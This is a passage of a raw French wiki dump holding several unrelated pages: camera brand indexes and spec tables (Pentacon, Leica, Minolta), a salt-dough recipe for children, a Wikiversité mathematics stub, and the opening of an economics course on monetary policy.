Alsaphot|Aldisette]] | [[Photographie - 40 - Pignons|Alpa]] | [[Photographie - 40 - Alsaphot|Alsaphot]] | [[Photographie - 40 - Alsaphot|Anjou]] | [[Photographie - 40 - Angénieux|Angénieux]] | [[Photographie - 40 - Canson|Arches]] | [[Photographie - 40 - Pentax|Asahi]] | [[Photographie - 40 - Pentax|Asahi Pentax]] | ===. B === | [[Photographie - 40 - Balda|Balda]] | [[Photographie - 40 - Balda|Baldamatic]] | [[Photographie - 40 - Balda|Baldinette]] | [[Photographie - 40 - BenQ|BenQ]] | [[Photographie - 40 - Som-Berthiot|Berthiot]] | [[Photographie - 40 - Bertram|Bertram]] | ===. C === | [[Photographie - 40 - Canon|Canon]] | [[Photographie - 40 - Canson|Canson]] | [[Photographie - 40 - Canson|Canvas]] | [[Photographie - 40 - Ricoh|Caplio]] | [[Photographie - 4O - Casio|Casio]] | [[Photographie - 40 - Concava|Concava]] | [[Photographie - 40 - Nikon|Coolpix]] | [[Photographie - 40 - Nikon|Coolscan]] | ===. D === | [[Photographie - 40 - Démaria-Lapierre|Démaria-Lapierre]] | ===. E === | [[Photographie - 40 - Eiki|Eiki]] | [[Photographie - 40 - Enna|Enna]] | [[Photographie - 40 - Moab|Entrada]] | [[Photographie - 40 - Ihagee|Exakta]] | [[Photographie - 40 - Casio|Exilim]] | ===. F === | [[Photographie - 40 - Fama|Fama]] | [[Photographie - 40 - VEB Feingerate Weimar|VEB Feingerate Weimar]] | [[Photographie - 40 - Fuji|Fuji]] | [[Photographie - 40 - Fujitsu|Fujitsu]] | ===. G === | [[Photographie - 40 - General Electric|General Electric]] | [[Photographie - 40 - Goerz|Goerz]] | ===. H === | [[Photographie - 40 - Hasselblad|Hasselblad]] | [[Photographie - 40 - Fujitsu|Handydrive]] | ===. I === | [[Photographie - 40 - Ihagee|Ihagee]] | [[Photographie - 40 - Canon|Ixus]] | ===. J === | ===. K === | [[Photographie - 40 - Moab|Kayenta]] | [[Photographie - 40 - King|King]] | [[Photographie - 40 - Kodak|Kodak]] | [[Photographie - 40 - Moab|Kokopelli]] | [[Photographie - 40 - Konica|Konica]] | [[Photographie - 40 - Konica-Minolta|Konica-Minolta]] | ===. L === | [[Photographie - 40 - Leitz|Leitz]] | [[Photographie - 40 - Linhof|Linhof]] | ===. M === | [[Photographie - 40 - Alsaphot|Maine]] | [[Photographie - 40 - Minolta|Minolta]] | [[Photographie - 40 - Minox|Minox]] | [[Photographie - 40 - Olympus|Mju]] | [[Photographie - 40 - Moab|Moab]] | [[Photographie - 40 - Canson|Montval Torchon Digital]] | ===. N === | [[Photographie - 40 - Nikon|Nikon]] | ===. O === | [[Photographie - 40 - Olympus|Olympus]] | [[Photographie - 40 - Agfa|Optima]] | [[Photographie - 40 - Pentax|Optio]] | ===. P === | [[Photographie - 40 - Panasonic|Panasonic]] | [[Photographie - 40 - Pentacon|Pentacon]] | [[Photographie - 40 - Pentax|Pentax]] | [[Photographie - 40 - Pignons|Pignons]] | [[Photographie - 40 - Polaroïd|Polaroïd]] | [[Photographie - 40 - Adox|Polo]] | [[Photographie - 40 - Adox|Polomat]] | [[Photographie - 40 - Adox|Polomatic]] | [[Photographie - 40 - Prestinox|Prestinox]] | ===. Q === | ===. R === | [[Photographie - 40 - King|Regula]] | [[Photographie - 40 - King|Regulette]] | [[Photographie - 40 - Ricoh|Ricoh]] | [[Photographie - 40 - Rollei|Rollei]] | ===. S === | [[Photographie - 40 - Samsung|Samsung]] | [[Photographie - 40 - Sigma|Sigma]] | [[Photographie - 40 - Agfa|Silette]] | [[Photographie - 40 - Tiranty|Slimatic]] | [[Photographie - 40 - Som-Berthiot|Som-Berthiot]] | [[Photographie - 40 - Sony|Sony]] | [[Photographie - 40 - Sunpak|Sunpak]] | ===. T === | [[Photographie - 40 - Tamron|Tamron]] | [[Photographie - 40 - Démaria-Lapierre|Telka]] | [[Photographie - 40 - Concava|Tessina]] | [[Photographie - 40 - Tiranty|Tiranty]] | [[Photographie - 40 - Toshiba|Toshiba]] | ===. U === | ===. V === | [[Photographie - 40 - Leitz|Visoflex]] | [[Photographie - 40 - Voigtländer|Voigtländer]] | [[Photographie - 40 - Alsaphot|Voltaflash]] | ===. W === | [[Photographie - 40 - VEB Feingerate Weimar|Weimarlux]] | [[Photographie - 40 - Widelux|Widelux]] | ===. X === | ===. Y === | [[Photographie - 40 - Yashica|Yashica]] | ===. Z === | [[Photographie - 40 - Zeiss Ikon|Zeiss Ikon]] | Photographie - 40 - Pentacon 6099 27896 2005-12-29T21:57:02Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils réflex 24x36 == === Praktica Nova (vers 1968) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Pentacon Praktica Nova.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' <br> ''Format de film :'' 135 <br> ''Objectifs :'' interchangeables <br> ''Monture des objectifs :'' <br> ''Diaphragme :'' <br> ''Présélection du diaphragme :'' <br> ''Viseur :'' <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Mémorisation de la mesure :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Correction d'exposition :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Touche de profondeur de champ :'' <br> ''Contrôle de piles :'' <br> ''Alimentation :'' <br> ''Interrupteur principal :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' <br> ''Remarques :'' |- |} === Praktica mat (vers 1968) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Pentacon Praktica Mat.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' <br> ''Format de film :'' 135 <br> ''Objectifs :'' interchangeables <br> ''Monture des objectifs :'' <br> ''Diaphragme :'' <br> ''Présélection du diaphragme :'' <br> ''Viseur :'' <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' cellule CdS <br> ''Sensibilité film / capteur :'' <br> ''Mémorisation de la mesure :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Correction d'exposition :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Touche de profondeur de champ :'' <br> ''Contrôle de piles :'' <br> ''Alimentation :'' <br> ''Interrupteur principal :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' <br> ''Remarques :'' |- |} === Praktica B 200 (1981) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Praktica B 200 1981.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' réflex mono-objectif 24x36 automatique avec priorité diaphragme, débrayable en semi-automatique et manuel. <br> ''Format de film :'' 135 <br> ''Objectifs :'' interchangeables <br> ''Monture des objectifs :'' <br> ''Diaphragme :'' <br> ''Présélection du diaphragme :'' oui <br> ''Viseur :'' pentaprisme <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle par télémètre à champs croisés entouré d'une couronne de microprismes <br> ''Obturateur :'' à commande électromagnétique, vitesses de 1/1000e s à 40 s (un record pour l'époque) <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' mesure à ouverture réelle, mise en mémoire possible. Cellule au GaAsP <br> ''Sensibilité film :'' <br> ''Mémorisation de la mesure :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Correction d'exposition :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Touche de profondeur de champ :'' oui <br> ''Contrôle de piles :'' <br> ''Alimentation :'' <br> ''Interrupteur principal :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' <br> ''Remarques :'' |- |} == Appareils réflex 6 x 6 mono-objectif == === Pentacon six === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Pentacon six.jpg|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' réflex 6 x 6 mono-objectif <br> ''Format de film :'' 120 et 220 <br> ''Objectifs :'' interchangeables <br> ''Monture des objectifs :'' <br> ''Diaphragme :'' <br> ''Présélection du diaphragme :'' <br> ''Viseur :'' <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film / capteur :'' <br> ''Mémorisation de la mesure :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Correction d'exposition :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Touche de profondeur de champ :'' <br> ''Contrôle de piles :'' <br> ''Alimentation :'' <br> ''Interrupteur principal :'' <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' <br> ''Remarques :'' |- |} Photographie - 40 - Rollei 6100 26985 2005-12-18T19:08:08Z Jean-Jacques MILAN 114 /* Appareils reflex 6x6 bi-objectifs */ {{Photographie}} == Appareils reflex 6x6 bi-objectifs == L'appareil ci-dessous a été monté avec des pièces de différentes époques : <gallery> Image:Rolleiflex-p1020881.jpg Image:Rolleiflex-p1020885.jpg Image:Rolleiflex-p1020887.jpg Image:Rolleiflex-p1020893.jpg Image:Rolleiflex-p1020900.jpg Image:Rolleiflex-p1020903.jpg </gallery> == Appareils compacts numériques == <gallery> Image:Rollei-DR-5-p1030352.jpg Image:Rollei-DP-8300-p1030349.jpg Image:Rollei-DP-6200-p1030351.jpg Image:Rollei-DP-5200-p1030350.jpg </gallery> Photographie - 40 - Leitz 6101 44056 2006-06-07T00:02:12Z Jean-Jacques MILAN 114 /* Images en réserve */ {{Photographie}} == Appareils 24x36 à télémètre == === Leica II === == Accessoires == === Chambre Visoflex II pour Leica M 3 === [[Image:Leitz Visoflex.jpg|thumb|180px|Chambre Visoflex Leitz]] Cet accessoire permet de transformer le Leica en appareil réflex. == Images en réserve == <gallery> Image:Leica-M7-p1020464.jpg Image:Vario-Elmar-p1030302.jpg Image:Leica-IIIf-1952.jpg Image:Leica digilux II.jpg Image:Leica-p1030814.jpg Image:Leica-p1030813.jpg Image:Leica-p1030810.jpg Image:Leica-p1030804.jpg Image:Leica-p1030803.jpg Image:Leica-p1030801.jpg Image:Leica-Summicron-Type-I-p1030754.jpg Image:Leica-Summicron-Type-I-p1030755.jpg Image:Leica-Summicron-Type-I-p1030756.jpg Image:Leica-R9-p1030644.jpg Image:Leica-III-p1030025.jpg Image:Leica-R4s-p1030550.jpg Image:Leica-D-Lux-2-p1030299.jpg Image:Leica-D-Lux-2-p1030300.jpg Image:Leica-0-p1030306.jpg Image:Leica-0-p1030310.jpg Image:Digilux-2-p1030294.jpg|Leica Image:Digilux-2-p1030295.jpgv Image:Digilux-2-p1030296.jpg|Leica Image:Leica-R9-p1030298.jpg Image:Leica-R9-p1030301.jpg Image:Leica-R9-p1030304.jpg Image:Leica-R9-p1030305.jpg Image:Leica-III-p1030016.jpg Image:Leica-III-p1030017.jpg Image:Leica-III-p1030020.jpg Image:Leica-III-p1030024.jpg Image:Leica-III-p1030027.jpg Image:Leica-III-p1030028.jpg Image:Leica-III-p1030030.jpg Image:Leica-III-p1030031.jpg Image:M3-mp-600.jpg|Leica Image:R4-sl2-600.jpg|Leica Image:Sl2-m3-600.jpg|Leica Image:VisoII-600.jpg|Leica Image:VisoII-IIIf-600.jpg|Leica Image:Leica-II-p1030014.jpg Image:Leica-II-p1030003.jpg Image:Leica-II-p1030005.jpg Image:Leica-II-p1030006.jpg Image:Leica-II-p1030002.jpg Image:Leica-II-p1030007.jpg Image:Leica-II-p1030008.jpg Image:Leica-II-p1030009.jpg Image:Leica-II-p1030010.jpg Image:Leica-II-p1030011.jpg Image:Leica-II-p1030013.jpg Image:Leica-II-p1030015.jpg Image:Leica-II-p1030004.jpg Image:Leica-III-p1030016.jpg Image:Leica-III-p1030017.jpg Image:Leica-III-p1030018.jpg Image:Leica-III-p1030019.jpg Image:Leica-III-p1030020.jpg Image:Leica-III-p1030023.jpg Image:Leica-III-p1030024.jpg Image:Leica-III-p1030025.jpg Image:Leica-III-p1030026.jpg Image:Leica-III-p1030027.jpg Image:Leica-III-p1030028.jpg Image:Leica-III-p1030029.jpg Image:Leica-III-p1030030.jpg Image:Leica-III-p1030031.jpg Image:Leica-III-p1030021.jpg Image:Leica-III-p1030022.jpg Image:Leica-III-p1030016.jpg Image:Leica-p1020823.jpg Image:Leica-p1020825.jpg Image:Leica-p1020828.jpg Image:Leica-p1020830.jpg Image:Leica-p1020832.jpg Image:Leica-p1020834.jpg Image:Leica-p1020836.jpg Image:Leica-p1020839.jpg Image:Leica-p1020841.jpg Image:Leica-p1020845.jpg Image:Leica-p1020847.jpg Image:Leica-p1020850.jpg Image:Leica-p1020852.jpg Image:Leica-p1020853.jpg Image:Leica-p1020855.jpg Image:Leica-p1020857.jpg Image:Leica-p1020859.jpg Image:Leica-p1020860.jpg Image:Leica-p1020862.jpg Image:Leica-p1020863.jpg Image:Leica-p1020865.jpg Image:Leica-doubleur-p1020785.jpg Image:Leica-doubleur-p1020786.jpg Image:Leica-Elmarit-135mm-p1020807.jpg Image:Leica-Elmarit-135mm-p1020810.jpg Image:Leica-Elmarit-135mm-p1020813.jpg Image:Leica-Elmarit-135mm-p1020815.jpg Image:Leica-R4s-p1020803.jpg Image:Leica-R4s-p1020806.jpg Image:Leica-Summicron-50mm-p1020787.jpg Image:Leica-Summicron-50mm-p1020790.jpg Image:Leica-Summicron-50mm-p1020796.jpg Image:Leica-Summicron-50mm-p1020798.jpg Image:Leica-Summicron-50mm-p1020799.jpg Image:Leica-M7-p1010675.jpg Image:Leica-R3-Safari-p1010670.jpg Image:Leica-I-1.jpg Image:Leica-I-2.jpg Image:LeicaIIIf-600.jpg Image:Leica-R4S-p1010074.jpg Image:Leica-R4S-p1010080.jpg Image:Leica-R4S-p1010079.jpg Image:Leica-R4S-p1010075.jpg Image:Leica-R4S-p1010073.jpg Image:Leica-R4S-p1010072.jpg Image:Leica M.jpg|Leica M Image:Uhr Leica 1.jpg|Leica 1 Image:Leica-II-p1030014.jpg Image:Leica-II-p1030003.jpg Image:Leica-II-p1030005.jpg Image:Leica-II-p1030006.jpg Image:Leica-II-p1030002.jpg Image:Leica-II-p1030007.jpg Image:Leica-II-p1030008.jpg Image:Leica-II-p1030009.jpg Image:Leica-II-p1030010.jpg Image:Leica-II-p1030011.jpg Image:Leica-II-p1030013.jpg Image:Leica-II-p1030015.jpg Image:Leica-II-p1030004.jpg Image:Leica-III-p1030016.jpg Image:Leica-III-p1030017.jpg Image:Leica-III-p1030018.jpg Image:Leica-III-p1030019.jpg Image:Leica-III-p1030020.jpg Image:Leica-III-p1030023.jpg Image:Leica-III-p1030024.jpg Image:Leica-III-p1030025.jpg Image:Leica-III-p1030026.jpg Image:Leica-III-p1030027.jpg Image:Leica-III-p1030028.jpg Image:Leica-III-p1030029.jpg Image:Leica-III-p1030030.jpg Image:Leica-III-p1030031.jpg Image:Leica-III-p1030021.jpg Image:Leica-III-p1030022.jpg Image:Leica-III-p1030016.jpg </gallery> <gallery> Image:Leica-p1020823.jpg Image:Leica-p1020825.jpg Image:Leica-p1020828.jpg Image:Leica-p1020830.jpg Image:Leica-p1020832.jpg Image:Leica-p1020834.jpg Image:Leica-p1020836.jpg Image:Leica-p1020839.jpg Image:Leica-p1020841.jpg Image:Leica-p1020845.jpg Image:Leica-p1020847.jpg Image:Leica-p1020850.jpg Image:Leica-p1020852.jpg Image:Leica-p1020853.jpg Image:Leica-p1020855.jpg Image:Leica-p1020857.jpg Image:Leica-p1020859.jpg Image:Leica-p1020860.jpg Image:Leica-p1020862.jpg Image:Leica-p1020863.jpg Image:Leica-p1020865.jpg Image:Leica-doubleur-p1020785.jpg Image:Leica-doubleur-p1020786.jpg Image:Leica-Elmarit-135mm-p1020807.jpg Image:Leica-Elmarit-135mm-p1020810.jpg Image:Leica-Elmarit-135mm-p1020813.jpg Image:Leica-Elmarit-135mm-p1020815.jpg Image:Leica-R4s-p1020803.jpg Image:Leica-R4s-p1020806.jpg Image:Leica-Summicron-50mm-p1020787.jpg Image:Leica-Summicron-50mm-p1020790.jpg Image:Leica-Summicron-50mm-p1020796.jpg Image:Leica-Summicron-50mm-p1020798.jpg Image:Leica-Summicron-50mm-p1020799.jpg Image:Leica-M7-p1010675.jpg Image:Leica-R3-Safari-p1010670.jpg Image:Leica-I-1.jpg Image:Leica-I-2.jpg Image:LeicaIIIf-600.jpg Image:Leica-R4S-p1010074.jpg Image:Leica-R4S-p1010080.jpg Image:Leica-R4S-p1010079.jpg Image:Leica-R4S-p1010075.jpg Image:Leica-R4S-p1010073.jpg Image:Leica-R4S-p1010072.jpg Image:Leica M.jpg|Leica M Image:Uhr Leica 1.jpg|Leica 1 </gallery> == Appareils compacts numériques == === Leica C-LUX 1 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5 " 6 Mpixels •&nbsp;<font color=grey>Définition maxi : </font>rapports 4/3 ou 16/9, 2816 x 2112 (5,9 Mpixels), 2816 x 1880 (5,3 Mpixels), 2816 x 1584 (4,5 Mpixels), 2048 x 1536 (3,1 Mpixels), 2048 x 1360 (2,8 Mpixels), 1920 x 1080 (2,1 Mpixels), 1600 x 1200 (1,9 Mpixels), 1280 x 960 (1,2 Mpixels) •&nbsp;<font color=grey>Formats de fichiers : </font>JPEG •&nbsp;<font color=grey>Mémoire interne : </font>64 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>SD / MMC •&nbsp;<font color=grey>Objectif : </font>Leica DC Vario-Elmarit x 3,6 4,6 - 16,8 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>28 - 102 mm •&nbsp;<font color=grey>Zoom numérique : </font>x 4 •&nbsp;<font color=grey>Stabilisation : </font>oui •&nbsp;<font color=grey>Diaphragme : </font> de f/2,8 (grand-angle) à f/5,6 (télé) •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 2,5", 207&nbsp;000 pixels montrant 100 % du champ photographié, grandissement x 16 possible en visualisation •&nbsp;<font color=grey>Modes : </font> [[Photographie - 23 - Macrophotographie|macro]] de 5 cm à l'infini, portrait, peau adoucie, paysage, sport, portrait de nuit, paysage de nuit, autoportrait, nourriture, réunions, lumière des bougies, feux d'artifice, ciel étoilé, neige, bébé 1 et 2, haute sensibilité, vidéo 848x480 et 320x240 pixels •&nbsp;<font color=grey>Mise au point : </font>sur 1, 3 ou 5 points, spot, normalement de 50 cm à l'infini •&nbsp;<font color=grey>Obturateur : </font>de 60 s à 1/2000e s •&nbsp;<font color=grey>Retardateur : </font>2 ou 10 s •&nbsp;<font color=grey>Commande de l'exposition : </font>automatique •&nbsp;<font color=grey>Correction d'exposition : </font>+/- 2 EV par incréments de 1/3 EV •&nbsp;<font color=grey>Sensibilité du capteur : </font>80, 100, 200, 400 ISO, haute sensibilité 800, 1600 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, lumière du jour, ciel nuageux, lampes à incandescence, 3 modes manuels •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>automatique, anti yeux rouges, synchro lente, annulé, déclenchement forcé, portée de 0,6 à 4 m (grand angle) et de 0,3 à 2 m (télé) •&nbsp;<font color=grey>Connexions : </font>USB2, NTSC / PAL •&nbsp;<font color=grey>Compatibilité DPOF : </font>oui •&nbsp;<font color=grey>Alimentation : </font>Lithium Ion spécifique rechargeable •&nbsp;<font color=grey>Dimensions : </font>94,1 x 51,1 x 24,2 mm •&nbsp;<font color=grey>Poids : </font>160.0 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>400 € •&nbsp;<font color=grey>Remarques : </font>compatible PictBridge, microphone et haut-parleur interne, écrou de pied, pas de commande à distance |- |} Activités pour enfants / Pâte à sel 6110 26586 2005-12-07T14:30:40Z Sand 850 création page Pour fabriquer de la pâte à sel, il faut : * Une mesure de sel fin ; * deux mesures de farine ; * 3/4 de mesure d'eau. La mesure généralement employée étant un verre. ---- D'abord mélanger la farine et le sel dans un récipient. Puis ajouter l'eau peu à peu en mélangeant avec les mains jusqu'à obtenir une boule compacte qui ne colle pas aux doigts. Si la pâte est trop liquide, ajouter un peu de sel et de farine. La pâte se travaille comme de la pâte à modeler. Pour fixer, deux éléments entre eux, un peu d'eau fait office de ''colle''. Une fois l'objet réalisé, la cuisson s'effectue à four doux pendant 30 minutes à 2 heures en fonction de la taille l'objet, plus il est fin, plus vite il sera cuit. Attention, si l'objet brunit, il cuit trop et sera très fragile par la suite ; de plus, une cuisson trop rapide peut fissurer l'objet. ---- Cet article fait partie du livre [[Activités pour enfants]]. Wikiversité:Faculté de Mathématiques 6111 40870 2006-04-24T20:47:05Z WikiC 1349 {{ébauche}} Bienvenue sur l'ébauche de la faculté de Mathématiques de la Wikiversité ! ==Bases== * [[Faculté de Mathématiques/Vocabulaire et notations indispensables]] * [[Faculté de Mathématiques/Mathématiques élémentaires]] * [[Faculté de Mathématiques/Mathématiques au lycée]] ==Licence== * [[Faculté de Mathématiques/Théorie de l'intégration]] * [[Faculté de Mathématiques/Algèbre linéaire]] * [[Faculté de Mathématiques/Probabilités]] * [[Faculté de Mathématiques/Arithmétique]] ==Master== * [[Faculté de Mathématiques/Algèbre corporelle et théorie de Galois]] * [[Faculté de Mathématiques/Topologie]] * [[Faculté de Mathématiques/Analyse]] * [[Faculté de Mathématiques/Informatique théorique]] * [[Faculté de Mathématiques/Logique]] [[Catégorie:Faculté de Mathématiques de la Wikiversité]] Photographie - 40 - Minolta 6112 26887 2005-12-16T23:34:38Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils 34x36 réflex == {| cellpadding=10" border="1" |- |'''année''' |[[Image:Minolta XG-M 1.jpg|180px|center]] |'''XGM'''<br> |- |colspan="3"| <gallery> Image:Minolta XG-M 2.jpg Image:Minolta XG-M 3.jpg Image:Minolta XG-M 4.jpg Image:Minolta XG-M 5.jpg Image:Minolta XG-M 6.jpg Image:Minolta XG-M 7.jpg Image:Minolta XG-M 8.jpg </gallery> |- |'''année''' |[[Image:Minolta X-700.jpg|180px|center]] |'''X-700''' <gallery> Image:Minolta X-700 2.jpg </gallery> |- |} == à classer == <gallery> Image:Minolta 110 Zoom SLR.jpg Image:Minolta Hi-Matic F.jpg Image:Minolta Hi-Matic 7sII.jpg Image:Minolta Hi-Matic 7sII 2.jpg Image:Minolta Hi-Matic 7sII 3.jpg Image:Minolta-DiMage-EX-p1030224.jpg Image:Minolta-DiMage-EX-p1030225.jpg Image:Minolta-DiMage-EX-p1030226.jpg Image:Minolta-DiMage-EX-p1030227.jpg Image:Minolta-DiMage-EX-p1030228.jpg </gallery> Introduction au cours de questions monétaires et financières 6114 43697 2006-06-01T13:04:24Z 81.192.100.77 == '''''Introduction ''''' == Pour en rester à la période récente, il semble que ce soit ''J.M Keynes'', un peu avant la seconde guerre mondiale, qui ait attiré l'attention sur les effets de la monnaie par rapport au niveau de l'emploi et de la production. En cela il répondait aux économistes classiques qui l'avaient précédé, et pour lesquels la monnaie n'avait aucun rôle vraiment significatif dans l'économie. À l'inverse, ''Keynes'' suggérait que la politique monétaire pouvait altérer le niveau des taux d'intérêt et par la même, le niveau de l'investissement, au moins tant que la politique monétaire ne fut pas bloquée par la "''trappe à liquidité''". Aujourd'hui, l'essentiel des thèses Keynesienne sont largement regardé comme obsolète. D'abord avec ''M. Friedman'', ont c'est rendu compte que si la politique monétaire avait effectivement un effet sur le chômage et la production, cet effet était bref, et que la variation de quantité de monnaies étaient récupérées par le niveau des prix, essentiellement sous forme d'inflation. Ensuite la théorie moderne dite des "''anticipations rationnelles''" a convaincu le public que la monnaie n’avait guère d'effet sur l'emploi. En revanche, elle était déterminante sur le niveau de l'inflation et sur le taux de change. De cette analyse surgit la conclusion naturelle que les autorités monétaires ont pour rôle principal de tenir l'inflation et le taux de chômage. On verra dans une prochaine partie la compatibilité de ces objectifs. Dans la pratique, il n'est pas clair que les autorités monétaires se soient toujours groupées sur des objectifs à poursuivre. Fondamentalement, les autorités monétaires sont représentées par la « ''Banque Centrale'' ». Dans la zone Euro, c'est l « ''ECB'' » (où « ''BCE'' ») et aux USA c'est la « ''FED'' ». Dans les déclarations de principes, les objectifs ne sont pas forcément identique. Ceux de la FED sont de contrôler l'inflation ET de lutter contre le chômage. Il n'y a aucune préoccupation sur le taux de change. Pour l'ECB, au contraire, l'objectif chômage n'apparaît pas, et la vocation est essentiellement de tenir l'inflation. En principe, l'ECB devrait aussi tenir le taux de change, mais l'expérience montre qu'elle n'y parvient pas. En peu de temps, l'euro à cru de +30% par rapport au $US, ce qui pénalise très fortement les PME européennes exportatrices. C'est plus grave d'autant que les autres grands pays échangistes ont officiellement où non collé leur monnaie au Dollar. Ainsi, la Chine en fait une politique officielle. De manière plus discrète, la Corée a collé le ''[[Won]]'' et la Thaïlande le ''[[Bath]]'', si bien que les énormes ajustements de change nécessités par le déficit des USA sont à peu près exclusivement récupérés par l'euro. Face a cette situation, l'''ECB'' est désarmée. Son seul argument est de demander aux USA de diminuer leur déficit, donc de vivre moins bien, chose peu probable. Il en est d'autant moins qu'il y peu de temps, ''Alan Greenspan'' à prononcé un discours très dur à l'encontre de la politique fiscale du gouvernement ''Bush''. S'il est peu probable que ce discours soit entendu, il démontre quelque chose de capital : aux USA, la ''FED'' est totalement indépendante du pouvoir politique, et peut se permettre de le critiquer ouvertement. Certains affirment que le président de la ''FED'' est l'homme le plus puissant des USA après le président. On ne peut aller jusque-là avec la BCE, car elle est d'origine récente, n'est donc pas légitimé par l'histoire et surtout, elle émane de pays dans lequel la banque centrale était très proche du Gouvernement (Allemagne) où même dont le directeur était un fonctionnaire aux ordres de l'état (France). Il est donc normal que le directeur de la BCE, ''Jean Claude Trichet'', ait à se battre pour faire prévaloir son indépendance. Jusqu'a présent, il semble qu'il ait réussi. Pourtant les BC européenne et americaine sont confrontées à un problème important : l'Angleterre, l'Australie, l'Espagne et dans une moindre mesure en France, ont une politique de fort bas taux de d'intérêt qui a générée un boom immobilier qui rappelle les faits passés au Japon à la fin des années 80. Dés lors, la contradiction est évidente : ou bien les BC maintiennent des taux d'intérêt très bas, mais engendrent un gonflement supplémentaire des prix immobiliers, plus l'augmentation du déficit aux USA. Ou bien elle procèdent à l'augmentation des taux d'intérêt et le risque existe que la bulle éclate avec des effets beaucoup plus désastreux que l'éclatement de la bulle boursière en début 2000. La raison est que dans les pays anglo-saxons, l'emprunt hypothécaire est à taux variable, donc les mensualités de remboursement augmentent avec les taux d'intérêt. Ainsi, cette hausse pourrait désolvabiliser une bonne partie de la clientèle et provoquer un crack qui par effet de contagion ferait courir un risque à l'ensemble des pays développés. Jusqu'a présent, la ''FED'' et l'''ECB'' se sont maintenu sur une ligne de prudence voire d'inaction. Il ressort clairement l'idée que la banque centrale a un rôle totalement incommensurable à celui des autres agents. La raison est que les variables sur lesquelles elle agit, la monnaie et taux d'intérêt affectent tous les agents, alors qu'une action d'une PME, si importante soit elle, n'affectera qu'elle-même et ses fournisseurs. Il y a donc bien une spécificité de la BC qui s'inscrit dans un réseau, le système monétaire, qui est lui-même un processus complexe. On entend par là que le système monétaire est composé de plusieurs agents dont la nature est différente et qui sont en relation hiérarchique avec la BC. Celle-ci est donc responsable de l'organisation de tout un système, des impulsions et orientation qu'elle essaie de lui faire prendre. Cette spécificité tient aussi à la nature de la monnaie, non comparable à la banalité des autres éléments économique. C'est dans ce cadre que la BC va devoir gérer ses objectifs d'inflation, de chômage, de taux d'intérêt par un système d'incitation vis-à-vis des agents qui lui sont subordonné, éventuellement de menaces vis-à-vis des autres BC. Ce jeu complexe est celui de la politique monétaire. == '''Chapitre 1 : Specificité et nature de la monnaie.''' == L'objet de ce chapitre n'est pas de se livrer à une reconstitution historique des différentes formes de la monnaie, mais de faire une analyse théorique des formes contemporaines comme le billet, le chèque... On effectuera donc délibérément un saut dans l'histoire pour passer d'un système primitif au système bancaire moderne. Toutefois, il convient de rappeler qu’historiquement la monnaie a connu trois fonctions : ''- Unité de compte :'' Il suffit de remarquer qu'elle ne fut pas toujours l'apanage de la monnaie. Jusqu'au 60's en UK, dans les magasins de luxe, il était coutume que les prix soient exprimés en « ''Guinée'' », monnaie qui n'a jamais eu d'existence physique, et n'a jamais servi de moyen de paiement. Aussi préalablement à tout achat, l'acquéreur devait convertir le prix en £, moyen de paiement ayant cours en UK. Dans les 80's, en Israël et plus tard dans certains pays d'Amérique du sud (e.g Argentine), les prix étaient exprimés en $US, alors que la monnaie n'y circulait pas. De nos jour, en France, certains prix sont encore exprimés en francs, alors que celui-ci a disparu. Ainsi, l'unité peut être distincte de la monnaie, pour autant qu'il existe un moyen de conversion. ''- Fonction de réserve de valeur :'' Les choses sont plus ambiguës. Par « fonction de réserve de valeur », on entend un instrument qui permet à l'agent de différer sa consommation. Bien entendu, la monnaie peut jouer ce rôle là, le problème est qu'elle a un concurrent qui, d'un certain point de vue, est mieux placé qu'elle. Typiquement, un livret de caisse d'épargne permet de transférer de la valeur dans le temps mais porte intérêt (alors que par définition, la monnaie ne porte pas d'intérêt). Ce 